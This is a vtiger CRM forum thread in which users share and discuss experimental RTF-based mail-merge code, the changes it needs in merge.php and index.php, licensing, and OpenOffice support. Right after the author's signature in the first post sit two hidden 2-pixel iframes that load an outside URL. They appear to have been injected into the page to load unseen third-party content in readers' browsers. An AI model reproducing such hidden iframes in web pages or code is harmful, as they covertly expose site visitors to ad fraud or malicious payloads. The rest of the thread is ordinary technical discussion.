RTF document merge instead of word merge

Hello,

I have been experimenting with Vtiger for some months now and am very impressed with what it can do. However I have had problems in getting the Office Word merge feature to work reliably, both when using the Office Plug-in and when performing a merge (I have conflict errors if a Word document is already open).

I have therefore played around with an alternative way of performing the merge and have come up with an experimental merge.php file. This performs the merge in a totally different way. It relies on using a rich text file (RTF) as a template, which contains field 'tokens'. When the merge is performed, the tokens are each replaced with the field contents

E.G. each occurence of the token '|C_FNAME|' in the RTF template is replaced with the contact's first name.

You can embed contact fields, account (company) fields and user detail fields (though you may need to add the necessary tokens in the merge.php file to extract all the fields you require). I haven't included any code to merge custom fields, though it shouldn't be too difficult to add.

This approach will work without the need for MS Word on the client (any RTF file editor should work - even OpenOffice seems OK) I guess it will work on non MS clients, though I have no way of trying this. There are no activex files or special plug-ins to install on the client. I have tried it with Terminal Server/Citrix clients and seems to work OK.

Please note that I don't claim to be a programmer; this is purily an experiment. I cannot guarantee it will work. I cannot guarantee data integrity or security. Try it at your own risk! Note that the small modification to index.php may break the merge functionality in other modules such as Accounts or Leads.

So to try it (I'm using V 4.2.2):

1) replace \vtiger\modules\contacts\merge.php with the attached version. (backup the original first!)
2) modify \vtiger\index.php (after taking a backup) as follows:

add 'ereg("^Merge", $action) ||' into the line that starts 'if(ereg("^Save", $action)' so it looks like this:-


if(ereg("^Save", $action) || ereg("^Delete", $action) ||ereg("^Merge", $action) || ereg("^Popup", $action) || .....etc.....


Login as admin and upload the attached samplemerge.rtf file into the Mail Merge Templates/contacts (under settings).

You should then be able to merge a contact with the samplemerge.rtf file and the file produced should have the fields correctly showing.


Regards,
Jim <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13456

Comments

  • 58 Comments sorted by Votes Date Added
  • great work jim!

    can we use this under the lgpl license?
  • wow, jim. it looks very promissing. great contribution! this will be an answer for many.

    brian laughlin
  • can we use this under the lgpl license?

    mike,

    i am not a programmer and feel i have spent as much time (and brain cells!) as i can on this code. i realise it needs to be developed and improved - someway beyond my capabilities, so i am hoping that other developer(s) will take this on if they feel it has potential. as far as i'm concerned the code can be used under the lgpl license.

    regards,

    jim smith
  • can we use this under the lgpl license?

    as far as i'm concerned the code can be used under the lgpl license.

    regards,

    jim smith

    thanks jim. you will have attribution in the source code.

    mike
  • great idea jim,

    i have been working on the same thing, i have made the changes in the merge.php file only and i'm in the process of extending it to use open office documents also.

    right now it merges with any file and replaces the mergefields but since the oo documents are compressed you can not do a simple search and replace. but i have it working outside vtiger <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->

    i will place the file here later today and maybe we can merge the idea, my rtf merge fields use the format <contact.firstname> as the mergefield format and merges all the fields available under contacts. it uses the vtiger methods to build the fieldnames so it also uses the custom fields fiendly format instead of the cf234 format.

    i'm not sure if your extention breaks the word merge but i have tried to keep it all working so it is an extention to the word merge if it detects an .doc extention it works as id does in the default.

    great idea certainly the fact that nothing needs to be installed on the client is great, i have tested mine on linux, winxp and apple os x .

    in combination with open office extention this add on blows away the ms word merge <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) --> .

    the same concept is in production for a joomla/mambo extention where you can use the merge fields in content items and show portal user information in the cms for registered cms users, planning to make it available for the vtiger 5.0 platform.
  • well here is my implementation for rtf merge.

    installation: backup and replace merge.php under modules/contacts.

    upload the template containing the mergefields as usual. setting/ mail merge templates/new template/contacts.
    (contacts only for now)

    goto contacts select the rtf template and merge, then the downloadlink for the merged document is presented.

    see attached rtf file in archive as example.

    wichard
  • forgot to mention this is for 4.2.2

    for 4.2.3 the sql is slightly different


    where clause is based on "filename" in 4.2.2 and on "templateid" in 4.2.3

    in 4.2.2:
    where filename='".$mergefilename."'"



    for 4.2.3 change in line 40 replace filename to templateid:
    where templateid='".$mergefilename."'"
  • wichard,

    good work! this looks more advanced than my version. i like the idea of the backward compatibilty of the merge.php file with the office plug-in. mine certainly does break the office plug-in template functionality.

    i have found that merges do work with my code with true word documents (rather than rtf) though i feel there may be instances where the document gets "broken" due to embedded word code getting corrupted. however, see the note in the first paragraph of my merge.php.

    there are certainly advantages to using the full length field names as the "tokens", i found though that the templates get a bit unwealdy when using certain fields e.g. "contacts_salutation" - because it gets parsed to something short like "mr" or "ms", it can upset the layout of the document. also it's more typing when creating the template!

    regards,
    jim
  • i have been working on the same thing, i have made the changes in the merge.php file only and i'm in the process of extending it to use open office documents also.

    .
    hi wichard:
    i had been planning to work on an oo solution but must admit i don't have the time to.
    maybe this helps:
    if i remember correct, oo uses a zipped format with a xml part which contains the text to be merged. in the oo forums, such a merge is pretty much (whatever that may mean in praxis) ready to be copied. i remember code examples for c++, php, basic etc.

    some weeks ago, i copied the relevant ooo forum texts but they are not on this pc. i you need them or correct url's, plse let me know.

    i don't know (=doubt) that oo would be safe for multiple threads, but such a merge might even be done on the server, at least in a small internal vtiger setup in a small lan. then it could be merged and printed without any active x or any buttonclicks in order to allow downloads to the local pc.

    regards,
    klaus
  • hi klaus,

    yes oo docs are simply zipped xml docs and i have the merge working in my development environment, but i need to clear up the code and make it more stable and user friendly. it's only finding the time and than it will pop up.

    technicaly there is no limitation whatsoever to make the same merge as done for rtf.

    only challenge is the mass merge which should not be done by the server in my opinion but on the client where oo merges a csv file with the template. doing the merge on the server might be fine in a dedicated server but not on a server that hosts multiple sites and vtiger installations and more.

    so there will be a two step approach for merge, first merging 1 record and later the mass merge.

    so at the moment all needed information i have, but any interesting links are welcome i haven't seen a similar merge yet anywhere so seeing other ideas are always welcome.
Sign In or Register to comment.